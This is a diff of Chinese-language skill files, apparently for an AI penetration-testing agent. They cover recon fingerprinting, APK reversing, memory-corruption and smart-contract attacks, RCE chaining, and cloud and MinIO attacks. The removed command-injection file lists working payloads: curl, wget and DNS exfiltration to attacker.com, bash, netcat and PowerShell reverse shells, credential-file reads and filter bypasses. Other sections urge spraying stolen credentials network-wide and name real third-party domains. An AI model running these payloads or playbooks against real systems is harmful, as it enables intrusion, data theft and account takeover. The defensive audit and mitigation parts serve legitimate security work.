🚨Nginx Catch-All陷阱: PHP CMS配rewrite全路由→所有路径返200同大小=catch-all(不是文件存在!)。识别: 用3个随机路径对比size一致=catch-all。真正存活路径用.php后缀测(nginx `location ~ \.php$`直通FastCGI,不存在返真404)。
🚨Pure-FTPd puredb损坏≠认证绕过: "Unable to read the indexed puredb file"=虚拟用户db坏了,所有用户名(包括匿名)都触发421断连。PAM系统用户认证也走puredb先→全部失败。不是攻击面,跳过。
🚨同IP多站横向: 反查IP(SecurityTrails/微步/VirusTotal)找同服务器其他域名→其中弱站(独立nginx配置返真404=可枚举)突破→宝塔面板统一管理=横向所有站。
指纹优先级: 一旦httpx/wappalyzer识别出框架版本 → 立即转 `component-vuln-intel` 联网情报。先测绘清攻击面,再Reason选最肥的边,不要看到一个洞就一头扎进去。
🚨DNS通配符CDN识别: 所有子域名(包括不存在的随机子域)都解析到CDN=通配符DNS(*.domain → CDN CNAME)。此时枚举子域名无意义,所有IP都是CDN节点。
验证: dig random123456.target.com → 如果也有A记录且指向已知CDN IP = 通配符。真实源IP需从其他渠道获取(历史DNS/证书透明/同服务器其他域名/邮件头/SSRF)
🚨宝塔面板(BT Panel)识别: Cookie名为32位hex hash(如789d6d2de16419a1e8bbfea926c8996e) + 302跳/login + nginx反代 + "入口校验失败"页面 = BT Panel随机安全入口
Windows版: IIS+nginx共存, 8888端口面板, 888端口phpMyAdmin(可能), /index.html可能泄露站点配置(反向代理目标URL/站点名)
攻击: 入口路径爆破(8位随机字母数字) | 历史CVE(API key未授权/phar反序列化) | 面板默认FTP/MySQL账户复用
🚨Nginx 404差分指纹: 当nginx catch-all重写掩盖真实路径时,比较响应大小——真实nginx 404(146B)=文件在磁盘存在但location块deny, catch-all(大页面)=路由未匹配。批量探测CMS标志路径(/caches/configs/, /phpcms/modules/, /statics/等)区分响应大小即可确认CMS类型。详见references/nginx-404-differential-fingerprinting.md
🚨UniApp/DCloud APK逆向快速路径: assets/apps/__UNI__*/www/app-service.js = 全部业务逻辑(JS混淆); assets/zlsioh.dat = 加密配置(API域名); lib/arm64-v8a/libirzlemnr.so = 解密库。JS用RC4+base64解混淆(提取a0G数组+a0m解码器); .so中strings搜16字符随机串=可能密钥, 搜`x数字.数字.数字.数字x`格式=硬编码IP(通常是DCloud HTTPDNS基础设施而非目标API)。详见references/uniapp-dcloud-apk-reversing.md
```
+47
View File
@@ -0,0 +1,47 @@
---
name: binary-mobile-reversing
description: >-
APK/EXE/二进制:UniApp/DCloud/Flutter逆向,证书固定绕过,导出组件,内存破坏exploit链,IoT固件。Use when reversing APK/EXE, UniApp/Flutter, native .so, or memory-corruption exploits.
tags: [渗透测试, penetration-testing, 红队]
---
## APK / EXE / 二进制逆向
```
=== APK/EXE/二进制 ===
APK: apktool d / jadx | Manifest看exported组件/deeplink/debuggable | rg硬编码密钥+API地址 | .so strings/Ghidra | frida/objection动态
🚨UniApp/DCloud APK逆向(H5混合应用,业务全在JS不在DEX):
识别: __UNI__XXXXXXX + assets/apps/ + uni-jsframework.js (NOT Flutter,无libapp.so) | manifest.json含"uni-app"字段
核心文件: assets/apps/__UNI__XXX/www/app-service.js (800KB+混淆JS=全部业务逻辑) | jadx只能看壳(native插件注册),真逻辑在JS
JS解混淆(RC4+字符串数组旋转): 提取a0G()大数组(10000+元素)+a0m(idx,key)解码函数(base64→RC4)+rotation IIFE→拼可执行JS→node批量解码→JSON字典(offset→明文)
🔴陷阱: rotation IIFE可能以逗号结尾(不是分号!属于更大表达式)→node报"Unexpected token"→按实际结束符提取
加密配置zlsioh.dat/dcloud3.dat: header(96B偏移表:off40=block1解压/44=压缩/60=block2偏移/64=block2大小/80=block3偏移)+block1(zlib→DEX)+block2(加密,含API域名列表←关键,需.so解密)+block3(zlib→AndroidX类映射)
zlib魔数78DA=未加密直接解压 | 无魔数=加密块(密钥在.so .rodata/汇编立即数)
.so字符串解混淆: 偶数位字符提取→反转(e.g."mAojcl.dubdFiHaebP.nwywfwb"→"www.baidu.com") | strings -n8 lib*.so找含点号长串
⚠️陷阱: .so中x分隔IP串(如"x111.230.69.120x118.126.105.164")=DCloud HTTPDNS节点(非API后端!140.205.11.x=阿里云DNS,111.230/118.126/106.52/42.193=腾讯云) | resources.arsc报错是故意反编译保护(不影响jadx) | assets伪PNG(1-8px)=完整性校验非数据 | fcapp.run仅APK下载代理
关键API变量: $apiHost/$opHost(运行时动态设置,不硬编码)/urlList/checkAvailableDomainList(HEAD domain/favicon.ico测连通,200-399=可用)
高价值端点: /app_init /user/gustRegister(游客无验证注册) /user/getOssSts(OSS临时凭据!) /uploadFile2
配置: manifest.json(appId/版本/nativePlugins→wrs-httpserver=内嵌HTTP服务!) | supplierconfig.json(vivo/xiaomi/huawei/oppo appid) | dcloud_uniplugins.json(插件清单)
ChengZi SDK(橙子建站): init3接口返回XOR单字节(key=0x96,见chengzi_decrypt.py)加密JSON→解密得APK真实下载链接(fu字段)+渠道码
域名兜底: 静态拿不到$apiHost时→Android模拟器(Waydroid/AVD)+tcpdump/mitmproxy抓运行时DNS
参见: references/uniapp-apk-reverse-engineering.md, references/uniapp-apk-reversing.md, scripts/js_rc4_deobfuscate.js, scripts/chengzi_decrypt.py
🚨Flutter APK快速逆向(无需脱壳): 加固(MogoSec/梆梆/360)保护DEX层,但Flutter的lib/arm64-v8a/libapp.so(Dart AOT)通常不加密
strings -n8 libapp.so|grep 'https\?://' → 全部硬编码URL/API域名/S3地址/CDN
strings -n8 libapp.so|grep -E '^/' → API路径矩阵(/Member/Login, /Web/VideoList, /BBS/GetSTSToken等)
strings -n8 libapp.so|grep -iE 'key|secret|token|aws|bucket' → 凭据/密钥泄露
assets/config_*.xml + assets/data_*.dat → 加密配置(可能含域名/API地址) | .DS_Store → macOS开发者信息泄露 | assets/xinstall* → 渠道追踪SDK
🚨Native .so字符串反混淆(通用模式): 混淆字符串在.rodata段
常见模式: 偶数位字符提取+反转(如"mAojcl.dubdFiHaebP..."→取偶数位→反转=明文域名) | XOR常量 | RC4+base64
识别: strings -n8 lib*.so找16字节等长串(AES密钥/IV)/含点号串(域名)/x分隔IP串(HTTPDNS) | nm --dynamic找混淆导出符号(16字符随机大小写)
验证: 已知字符串("classes.dex"/"io.dcloud.application")对照混淆版→逆推算法→批量解码
🚨移动通用(非UniApp/Flutter的常规APP):
证书固定绕过(抓HTTPS): objection android sslpinning disable | frida universal-unpinning | 改smali删pinning重打包
导出组件越权: Manifest exported=true的Activity/Service/Provider/Receiver → drozer/adb am start跨应用调 | ContentProvider SQLi/路径穿越
深链接(deeplink)劫持: scheme://未校验→WebView加载任意URL(XSS/文件读) | 参数进intent→组件劫持
不安全存储: /data/data/pkg/(shared_prefs明文token/db未加密/logcat泄露) | sdcard世界可读
WebView: addJavascriptInterface(<4.2 RCE)/file://读本地/setAllowFileAccess | 静态:MobSF一把梭 | iOS:砸壳(frida-ios-dump)+Ghidra看Mach-O+objection动态
EXE/PE: file/strings | Ghidra/IDA反编译找硬编码/加密/网络逻辑 | x64dbg动调 | 漏洞:溢出/格式化串/UAF/DLL劫持
🚨内存破坏exploit链(崩溃→RCE): checksec看防护 → 确定原语(栈溢出/UAF/格式化串=任意读写)
→ 信息泄露绕ASLR → ROP链(ROPgadget/pwntools ret2libc) → 堆利用(tcache poison/__free_hook劫持)
→ 任意写改GOT/hook/vtable/exit_funcs → 控制流劫持 | 固件IoT:binwalk -Me提取+qemu-user调试(防护弱常直接栈溢出)
```
@@ -0,0 +1,16 @@
---
name: blockchain-contract-attack
description: >-
区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.
tags: [渗透测试, penetration-testing, 红队]
---
## 区块链 / 智能合约
```
=== 区块链/智能合约 ===
源码: Etherscan getsourcecode API | 审计 slither/mythril/manticore
手工: 重入(.call{value}先转账后改状态违反C-E-I) | 访问控制(onlyOwner缺失) | 整数溢出(<0.8无SafeMath)
预言机操纵(闪电贷瞬时操纵AMM价格) | 随机数(block.timestamp可控) | 授权滥用(无限approve/permit重放) | delegatecall代理storage冲突
DeFi: 闪电贷攻击/三明治(抢跑)/治理攻击/签名重放 | 跨链桥:签名阈值绕过/重放 | RPC:暴露8545直接eth_sendTransaction
```
-402
View File
@@ -1,402 +0,0 @@
---
name: business-logic-testing
description: 业务逻辑漏洞测试的专业技能和方法论
version: 1.0.0
---
# 业务逻辑漏洞测试
## 概述
业务逻辑漏洞是应用程序在业务处理流程中的设计缺陷,可能导致未授权操作、数据篡改、资金损失等。本技能提供业务逻辑漏洞的检测、利用和防护方法。
## 漏洞类型
### 1. 工作流绕过
**跳过验证步骤:**
- 直接访问最终步骤
- 修改步骤顺序
- 重复执行步骤
### 2. 价格操作
**负数价格:**
- 输入负数金额
- 导致账户余额增加
**价格篡改:**
- 修改前端价格
- 修改API请求中的价格
### 3. 数量限制绕过
**负数数量:**
- 输入负数
- 可能导致库存增加
**超出限制:**
- 修改数量限制
- 批量操作绕过
### 4. 时间竞争
**并发请求:**
- 同时发送多个请求
- 绕过单次限制
### 5. 状态操作
**状态回退:**
- 将已完成订单改为待支付
- 修改订单状态
## 测试方法
### 1. 工作流分析
**识别业务流程:**
- 注册流程
- 购买流程
- 提现流程
- 审核流程
**测试步骤跳过:**
```
正常流程: 步骤1 → 步骤2 → 步骤3
测试: 直接访问步骤3
测试: 步骤1 → 步骤3(跳过步骤2)
```
### 2. 参数篡改
**修改关键参数:**
```http
POST /api/purchase
{
"product_id": 123,
"quantity": 1,
"price": 100.00 # 修改为 0.01
}
```
**负数测试:**
```json
{
"quantity": -1,
"price": -100.00
}
```
### 3. 并发测试
**同时发送请求:**
```python
import threading
import requests
def purchase():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# 同时发送10个请求
for i in range(10):
threading.Thread(target=purchase).start()
```
### 4. 状态修改
**修改订单状态:**
```http
PATCH /api/order/123
{
"status": "completed" # 修改为已完成
}
```
**回退状态:**
```http
PATCH /api/order/123
{
"status": "pending" # 从已完成回退到待支付
}
```
## 利用技术
### 价格操作
**负数价格:**
```json
{
"product_id": 123,
"price": -100.00,
"quantity": 1
}
```
**修改前端价格:**
```javascript
// 前端代码
const price = 100.00;
// 修改为
const price = 0.01;
```
**API价格修改:**
```http
POST /api/checkout
{
"items": [
{
"product_id": 123,
"price": 0.01, # 原价100.00
"quantity": 1
}
]
}
```
### 数量限制绕过
**负数数量:**
```json
{
"product_id": 123,
"quantity": -10 # 可能导致库存增加
}
```
**超出限制:**
```json
{
"product_id": 123,
"quantity": 999999 # 超出单次购买限制
}
```
### 优惠券滥用
**重复使用:**
```http
POST /api/checkout
{
"coupon": "DISCOUNT50",
"items": [...]
}
# 重复使用同一优惠券
```
**未激活优惠券:**
```http
POST /api/checkout
{
"coupon": "EXPIRED_COUPON", # 使用过期优惠券
"items": [...]
}
```
### 提现漏洞
**负数提现:**
```json
{
"amount": -1000.00 # 可能导致账户余额增加
}
```
**超出余额:**
```json
{
"amount": 999999.00 # 超出账户余额
}
```
### 时间竞争
**并发购买:**
```python
import threading
import requests
def buy():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# 限时抢购,并发请求
for i in range(100):
threading.Thread(target=buy).start()
```
## 绕过技术
### 前端验证绕过
**直接调用API**
- 绕过前端JavaScript验证
- 直接发送API请求
**修改请求:**
- 使用Burp Suite拦截
- 修改参数后发送
### 状态码分析
**观察响应:**
- 200 OK - 可能成功
- 400 Bad Request - 参数错误
- 403 Forbidden - 权限不足
- 500 Internal Server Error - 服务器错误
### 错误信息利用
**从错误信息获取信息:**
```
错误: "余额不足,当前余额: 100.00"
→ 可以获取账户余额信息
```
## 工具使用
### Burp Suite
**使用Repeater**
1. 拦截业务请求
2. 修改关键参数
3. 观察响应
**使用Intruder**
1. 标记参数
2. 使用Payload列表
3. 批量测试
### 自定义脚本
```python
import requests
import json
def test_price_manipulation():
# 测试价格修改
for price in [0.01, -100, 0, 999999]:
data = {
"product_id": 123,
"price": price,
"quantity": 1
}
response = requests.post('https://target.com/api/purchase',
json=data)
print(f"Price {price}: {response.status_code}")
test_price_manipulation()
```
## 验证和报告
### 验证步骤
1. 确认可以绕过业务逻辑限制
2. 验证可以执行未授权操作
3. 评估影响(资金损失、数据篡改等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和业务流程
- 可执行的未授权操作
- 完整的利用步骤和PoC
- 修复建议(服务端验证、业务规则检查等)
## 防护措施
### 推荐方案
1. **服务端验证**
```python
def process_purchase(product_id, quantity, price):
# 从数据库获取真实价格
real_price = db.get_product_price(product_id)
# 验证价格
if price != real_price:
raise ValueError("Price mismatch")
# 验证数量
if quantity <= 0:
raise ValueError("Invalid quantity")
# 处理购买
process_order(product_id, quantity, real_price)
```
2. **状态机验证**
```python
class OrderState:
PENDING = "pending"
PAID = "paid"
SHIPPED = "shipped"
COMPLETED = "completed"
TRANSITIONS = {
PENDING: [PAID],
PAID: [SHIPPED],
SHIPPED: [COMPLETED]
}
def can_transition(self, from_state, to_state):
return to_state in self.TRANSITIONS.get(from_state, [])
```
3. **并发控制**
```python
import threading
lock = threading.Lock()
def process_order(order_id):
with lock:
# 检查订单状态
order = db.get_order(order_id)
if order.status != 'pending':
raise ValueError("Order already processed")
# 处理订单
process(order)
```
4. **业务规则验证**
```python
def validate_business_rules(order):
# 验证数量限制
if order.quantity > MAX_QUANTITY:
raise ValueError("Quantity exceeds limit")
# 验证价格范围
if order.price <= 0:
raise ValueError("Invalid price")
# 验证库存
if order.quantity > get_stock(order.product_id):
raise ValueError("Insufficient stock")
```
5. **审计日志**
```python
def log_business_action(user_id, action, details):
log_entry = {
"user_id": user_id,
"action": action,
"details": details,
"timestamp": datetime.now()
}
db.log_action(log_entry)
```
## 注意事项
- 仅在授权测试环境中进行
- 避免对业务造成实际影响
- 注意不同业务流程的差异
- 测试时注意数据一致性
@@ -0,0 +1,47 @@
---
name: capability-primitive-search
description: >-
能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.
tags: [渗透测试, penetration-testing, 红队]
---
## 能力原语 + 状态空间搜索
```
心法: RCE不是一个"漏洞",是一组"能力"凑齐后的涌现。没单点大洞时,几个info级/低危照样拼出代码执行。
固有思维(要打破): "扫不到RCE/反序列化/上传→这站打不动了"。你的活不是"找RCE漏洞",是"凑齐执行所需的原语"。
把每个Fact抽象成能力原语(不记"发现X漏洞",记"现在拥有什么能力+限制"):
read(path) write(path) exec(cmd) ssrf(url) sqli redirect(url) eval_expr idor(id) cred(svc,priv) coerce_auth write_acl
RCE只需满足任意一条等式,拆成可获取的原语去凑:
A. 能写文件 + 文件被当代码执行 = RCE
B. 能控配置/env + 配置指向你的代码 = RCE
C. 能进管理面 + 面板自带执行功能 = RCE(不是漏洞,是功能!)
D. 有凭据 + 服务有合法执行入口 = RCE(滥用合法功能)
E. 能任意读 + 读到凭据 + 凭据可登录执行点 = RCE
F. 能控数据 + 数据流入危险sink(eval/模板/SQL) = RCE
低危→原语映射(把"鸡肋漏洞"翻译成拼图碎片):
info泄露(.git/备份/堆栈)→源码/路径/密钥→喂B/E/F | LFI/任意读→读配置密钥→E,或日志投毒→A
SSRF(哪怕只GET)→打内网Redis/Consul/K8s/云元数据→C; 云元数据拿临时凭据→D
弱/默认/复用凭据→进带任务/插件/webhook/CI功能的后台→C | CORS/CSRF/XSS→借管理员浏览器调执行类功能→C
可控上传(哪怕限扩展名)→配路径穿越/解析差异/.htaccess→A | 配置写入→改模板/日志/连接串→B
SQLi(哪怕只读)→读hash/密钥→E,或OUTFILE→A | 模板可控→SSTI→F | 原型污染→污染下游属性→F
状态空间搜索(无现成链时自己搜): 状态=当前能力集, 动作=用能力解锁新能力, 目标=Goal。
正向: 对每个能力问"能解锁什么?"; 对每对能力问"组合出什么?"
(read+write=改配置; ssrf+内网redis=RCE; sqli+FILE=webshell; coerce_auth+relay=域SYSTEM; idor+massassign=改他人admin)
反向(卡住时主用): 锁定Goal=执行命令→选最接近现状的等式当模板→缺哪个原语设为子目标→
手上哪个低危/功能/info泄露能凑出它?→凑不出递归拆/换等式 → 正反向在中间相遇=完整链浮现 → 逐段验证
突破口(看到别走开):
·"功能即原语": 后台的任务计划/插件/模板编辑/SQL控制台/文件管理器/导入导出/webhook —— 合法功能但登进去就是现成执行/读写原语。渗透者眼里没"功能/漏洞"之分,只有"能力"。
·跨协议跳跃: SSRF的gopher/dict/file把"只能发HTTP"变成"打Redis/发SMTP/读文件"。
·凭据复用是万能胶: 任意一处拿到的密码/key默认全网复用全部喷一遍。横向常比纵向快。
·解析差异: 上传校验/路由/反代三方理解不一致→缝隙里有绕过(双扩展名/编码/Host混淆)。
·时间维度: TOCTOU/token可预测/缓存投毒,把"偶尔"变"稳定",把不可利用变可利用。
·跨域兑现: 每拿一个能力问"它在别的域值多少钱"——能力是通用货币。Web SSRF→进云元数据接管账户; APK硬编码→直连内部API绕前端鉴权; 供应链→拿CI密钥进生产。
·创造模式(已知组合用尽时): 重审能力边界(只能读/var/log? /proc/self/environ呢) | 找等价RCE的sink(写crontab/.bashrc/CI配置/LD_PRELOAD/authorized_keys/systemd unit都=RCE) | 信息(报错/时序/响应长度)当侧信道 | 假设取反:列"我以为不可能"逐条问"凭什么不可能"
> 推导出的链是假设(可 tentative 记 note/chain),实际执行+证据后才写 confirmed Fact / record_vulnerability。整条链每步都验证过才成立。
```
+42
View File
@@ -0,0 +1,42 @@
---
name: cloud-attack-methods
description: >-
云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.
tags: [渗透测试, penetration-testing, 红队]
---
## 云攻击手法
```
=== 云 ===
元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200
对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin
🚨云身份攻击(拿到key/token后的提权横向):
AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥
Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥
Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向
GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举
🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS
🚨MinIO攻击矩阵:
指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)
Console爆破: POST http://IP:9001/api/v1/login body={"accessKey":"minioadmin","secretKey":"minioadmin"} | 403="invalid Login"
STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置
CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)
CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)
匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁
上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)
扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行
🚨阿里云FC函数(fcapp.run)枚举:
识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)
特征: POST返回"unauthorized method 'POST'"(405) = 只接受GET | 200+{"code":200,"msg":"Forbidden"} = 路径存在但缺参数
利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)
枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)
路径穿越: FC正确规范化(../无效),但可枚举不同function路径
CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露"denied by req auth"
FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)
🚨橙子建站(ChengZi SDK)解密:
初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)
解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)
d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护
关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL
```
-343
View File
@@ -1,343 +0,0 @@
---
name: cloud-security-audit
description: 云安全审计的专业技能和方法论
version: 1.0.0
---
# 云安全审计
## 概述
云安全审计是评估云环境安全性的重要环节。本技能提供云安全审计的方法、工具和最佳实践,涵盖AWS、Azure、GCP等主流云平台。
## 审计范围
### 1. 身份和访问管理
**检查项目:**
- IAM策略配置
- 用户权限
- 角色权限
- 访问密钥管理
### 2. 网络安全
**检查项目:**
- 安全组配置
- 网络ACL
- VPC配置
- 流量加密
### 3. 数据安全
**检查项目:**
- 数据加密
- 密钥管理
- 备份策略
- 数据分类
### 4. 合规性
**检查项目:**
- 合规框架
- 审计日志
- 监控告警
- 事件响应
## AWS安全审计
### IAM审计
**检查IAM策略:**
```bash
# 列出所有IAM用户
aws iam list-users
# 列出所有IAM策略
aws iam list-policies
# 检查用户权限
aws iam list-user-policies --user-name username
aws iam list-attached-user-policies --user-name username
# 检查角色权限
aws iam list-role-policies --role-name rolename
```
**常见问题:**
- 过度权限
- 未使用的访问密钥
- 密码策略弱
- MFA未启用
### S3安全审计
**检查S3存储桶:**
```bash
# 列出所有存储桶
aws s3 ls
# 检查存储桶策略
aws s3api get-bucket-policy --bucket bucketname
# 检查存储桶ACL
aws s3api get-bucket-acl --bucket bucketname
# 检查存储桶加密
aws s3api get-bucket-encryption --bucket bucketname
```
**常见问题:**
- 公开访问
- 未加密
- 版本控制未启用
- 日志记录未启用
### 安全组审计
**检查安全组:**
```bash
# 列出所有安全组
aws ec2 describe-security-groups
# 检查开放端口
aws ec2 describe-security-groups --group-ids sg-xxx
```
**常见问题:**
- 0.0.0.0/0开放
- 不必要的端口开放
- 规则过于宽松
### CloudTrail审计
**检查审计日志:**
```bash
# 列出所有跟踪
aws cloudtrail describe-trails
# 检查日志文件完整性
aws cloudtrail get-trail-status --name trailname
```
## Azure安全审计
### 订阅和资源组
**检查订阅:**
```bash
# 列出所有订阅
az account list
# 检查资源组
az group list
```
### 网络安全组
**检查NSG**
```bash
# 列出所有NSG
az network nsg list
# 检查NSG规则
az network nsg rule list --nsg-name nsgname --resource-group rgname
```
### 存储账户
**检查存储账户:**
```bash
# 列出所有存储账户
az storage account list
# 检查访问策略
az storage account show --name accountname --resource-group rgname
```
## GCP安全审计
### 项目和组织
**检查项目:**
```bash
# 列出所有项目
gcloud projects list
# 检查IAM策略
gcloud projects get-iam-policy project-id
```
### 计算引擎
**检查实例:**
```bash
# 列出所有实例
gcloud compute instances list
# 检查防火墙规则
gcloud compute firewall-rules list
```
### 存储
**检查存储桶:**
```bash
# 列出所有存储桶
gsutil ls
# 检查存储桶权限
gsutil iam get gs://bucketname
```
## 自动化工具
### Scout Suite
```bash
# AWS审计
scout aws
# Azure审计
scout azure
# GCP审计
scout gcp
```
### Prowler
```bash
# AWS安全审计
prowler -c check11,check12,check13
# 完整审计
prowler
```
### CloudSploit
```bash
# 扫描AWS账户
cloudsploit scan aws
# 扫描Azure订阅
cloudsploit scan azure
```
### Pacu
```bash
# AWS渗透测试框架
pacu
```
## 审计清单
### IAM安全
- [ ] 检查用户权限
- [ ] 检查角色权限
- [ ] 检查访问密钥
- [ ] 检查密码策略
- [ ] 检查MFA启用情况
### 网络安全
- [ ] 检查安全组/NSG规则
- [ ] 检查VPC配置
- [ ] 检查网络ACL
- [ ] 检查流量加密
### 数据安全
- [ ] 检查数据加密
- [ ] 检查密钥管理
- [ ] 检查备份策略
- [ ] 检查数据分类
### 合规性
- [ ] 检查审计日志
- [ ] 检查监控告警
- [ ] 检查事件响应
- [ ] 检查合规框架
## 常见安全问题
### 1. 过度权限
**问题:**
- IAM策略过于宽松
- 用户拥有管理员权限
- 角色权限过大
**修复:**
- 最小权限原则
- 定期审查权限
- 使用IAM策略模拟
### 2. 公开资源
**问题:**
- S3存储桶公开
- 安全组开放0.0.0.0/0
- 数据库公开访问
**修复:**
- 限制访问范围
- 使用私有网络
- 启用访问控制
### 3. 未加密数据
**问题:**
- 存储未加密
- 传输未加密
- 密钥管理不当
**修复:**
- 启用加密
- 使用TLS/SSL
- 使用密钥管理服务
### 4. 日志缺失
**问题:**
- 未启用审计日志
- 日志未保留
- 日志未监控
**修复:**
- 启用CloudTrail/Azure Monitor
- 设置日志保留策略
- 配置监控告警
## 最佳实践
### 1. 最小权限
- 只授予必要权限
- 定期审查权限
- 使用IAM策略模拟
### 2. 多层防护
- 网络层防护
- 应用层防护
- 数据层防护
### 3. 监控和告警
- 启用审计日志
- 配置监控告警
- 建立事件响应流程
### 4. 合规性
- 遵循合规框架
- 定期安全审计
- 文档化安全策略
## 注意事项
- 仅在授权环境中进行审计
- 避免对生产环境造成影响
- 注意不同云平台的差异
- 定期进行安全审计
-302
View File
@@ -1,302 +0,0 @@
---
name: command-injection-testing
description: 命令注入漏洞测试的专业技能和方法论
version: 1.0.0
---
# 命令注入漏洞测试
## 概述
命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。
## 漏洞原理
应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。
**危险代码示例:**
```php
// PHP
system("ping " . $_GET['ip']);
// Python
os.system("ping " + user_input)
// Node.js
child_process.exec("ping " + user_input)
```
## 测试方法
### 1. 识别命令执行点
**常见功能:**
- Ping功能
- DNS查询
- 文件操作
- 系统信息
- 日志查看
- 备份恢复
### 2. 基础检测
**测试命令分隔符:**
```
; # 命令分隔符(Linux/Windows
& # 后台执行(Linux/Windows
| # 管道符(Linux/Windows
&& # 逻辑与(Linux/Windows
|| # 逻辑或(Linux/Windows
` # 命令替换(Linux
$() # 命令替换(Linux
```
**测试Payload**
```
127.0.0.1; id
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 `whoami`
127.0.0.1 $(whoami)
```
### 3. 盲命令注入
**时间延迟检测:**
```
127.0.0.1; sleep 5
127.0.0.1 && sleep 5
127.0.0.1 | sleep 5
```
**外带数据:**
```
127.0.0.1; curl http://attacker.com/?$(whoami)
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)
```
**DNS外带:**
```
127.0.0.1; nslookup $(whoami).attacker.com
```
## 利用技术
### 基础命令执行
**Linux**
```
; id
; whoami
; uname -a
; cat /etc/passwd
; ls -la
```
**Windows**
```
& whoami
& ipconfig
& type C:\Windows\System32\drivers\etc\hosts
& dir
```
### 文件操作
**读取文件:**
```
; cat /etc/passwd
; type C:\Windows\System32\config\sam
; head -n 20 /var/log/apache2/access.log
```
**写入文件:**
```
; echo "<?php phpinfo(); ?>" > /tmp/shell.php
; echo "test" > C:\temp\test.txt
```
### 反弹Shell
**Bash**
```
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
```
**Netcat**
```
; nc -e /bin/bash attacker.com 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
```
**PowerShell**
```
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
## 绕过技术
### 空格绕过
```
${IFS}id
${IFS}whoami
$IFS$9id
<>
%09 (Tab)
%20 (Space)
```
### 命令分隔符绕过
**编码绕过:**
```
%3b (;)
%26 (&)
%7c (|)
```
**换行绕过:**
```
%0a (换行)
%0d (回车)
```
### 关键字过滤绕过
**变量拼接:**
```bash
a=w;b=ho;c=ami;$a$b$c
```
**通配符:**
```bash
/bin/c?t /etc/passwd
/usr/bin/ca* /etc/passwd
```
**引号绕过:**
```bash
w'h'o'a'm'i
w"h"o"a"m"i
```
**反斜杠:**
```bash
w\ho\am\i
```
**Base64编码:**
```bash
echo "d2hvYW1p" | base64 -d | bash
```
### 长度限制绕过
**使用文件:**
```bash
echo "id" > /tmp/c
sh /tmp/c
```
**使用环境变量:**
```bash
export x='id';$x
```
## 工具使用
### Commix
```bash
# 基础扫描
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
# 指定注入点
